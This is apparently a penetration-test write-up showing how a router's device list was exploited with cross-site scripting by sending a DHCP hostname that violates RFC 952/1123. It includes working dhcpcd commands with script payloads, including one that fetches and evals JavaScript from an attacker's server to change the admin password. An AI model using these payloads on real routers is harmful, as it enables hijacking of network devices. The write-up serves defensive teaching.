During a security assessment, we sometimes need to think outside of the box in order to find interesting and impactful exploits. To aid us in this, we can use protocol standards as a roadmap to assumptions that may be built into a piece of software. Oftentimes, breaking those assumptions means breaking the software. Software may be secure when well-behaved peers follow protocols standards, but have a vulnerability when they do not.

We recently had a good example of this concept on an assessment, where we violated the DHCP standard in order to perform Cross-Site Scripting (XSS) on a router’s admin interface page.

The router that we were testing, like many others, had a section of the web interface dedicated to listing the devices that were connected to the network. The devices are represented by their hostname — a field the router receives during DHCP IP address negotiation. This raises two very important questions: 1) what are the expected characters in a hostname; and 2) are the hostnames validated or escaped in any way?

The first question is simple enough to answer. The following are the character restrictions of a hostname according to RFC 952, as amended by RFC 1123:

[RFC 952]

ASSUMPTIONS
1. A “name” (Net, Host, Gateway, or Domain name) is a text string up to 24 characters drawn from the alphabet (A-Z), digits (0-9), minus sign (-), and period (.). Note that periods are only allowed when they serve to delimit components of “domain style names”. (See RFC-921, “Domain Name System Implementation Schedule”, for background). No blank or space characters are permitted as part of a name. No distinction is made between upper and lower case. The first character must be an alpha character. The last character must not be a minus sign or period.

[RFC 1123]

The syntax of a legal Internet host name was specified in RFC-952. One aspect of host name syntax is hereby changed: the restriction on the first character is relaxed to allow either a letter or a digit. Host software MUST support this more liberal syntax.

Host software MUST handle host names of up to 63 characters and SHOULD handle host names of up to 255 characters.

What would happen if we sent a DHCP request containing an invalid hostname? It may not be expected by the router. If invalid characters aren’t escaped, then this could lead to anything from remote code execution, to crashing the router — to XSS.

On this assessment, we needed find a way to create and send a non-compliant request. Our first thought was to use a Raspberry Pi. We set the hostname in /etc/hostname to <script>alert()</script> and restarted the networking service. This simple approach did not work. The invalid hostname caused the networking service to crash. This was not the vulnerability we were hoping for! We then tried using various DHCP clients, and found that some validated the hostname but others did not. In the end, we settled on using dhcpcd, as it did not perform any hostname validation. We were able to trigger a DHCP renegotiation at any time by simply running the following:

sudo dhcpcd -n <interface> -h "<script>alert()</script>"

where <interface> is the networking interface connected to the router being tested.

Wireshark capture of the above DHCP request

Upon sending the payload, a refresh of the web interface on the router triggered the alert payload. XSS success! Our guess had been correct — the router did not anticipate or handle the invalid hostname. However, we still needed to figure out what restrictions were in place, if any, that could prevent us from creating a usable proof of concept (POC).

Some more experimentation revealed a couple of restrictions that were in place. Our hostname payload could not have whitespace (the hostname was terminated at the first whitespace character) and there was a character maximum in place. In order to bypass both of these restrictions, we decided to host a web server that would serve the JavaScript we wanted to execute as its index.html. This way our hostname payload could be a short JavaScript snippet to fetch and execute the actual payload from our server. There are several ways that this could be done, but it becomes slightly trickier when taking into account the fact that there cannot be any whitespace. As such, a simple solution of <script src=OUR_SERVER></script> would not work. That said, some browsers will have the same behavior when replacing the space with a slash like <script/src=OUR_SERVER></script>.

In testing, we noticed that this web interface imported jQuery and therefore allowed us to use it during our exploit. We decided to use jQuery to create the following more robust payload:

sudo dhcpcd -n <interface> -h "<script>$.get('//localhost',(d,s)=>eval(d))</script>"

where localhost would be replaced with the address of the server.

This construct allowed us to execute arbitrary JavaScript. For our POC, we exploited the XSS using JavaScript that changed the web interface’s admin password.

This case study shows a good example of why protocol standards are not security mechanisms. While legitimate traffic should always follow the DHCP standard, there is nothing stopping an attacker from sending malicious traffic that intentionally includes illegal characters. At the end of the day, developers must always be careful about their assumptions. Otherwise, the standards will just give attackers a playbook for exploitation.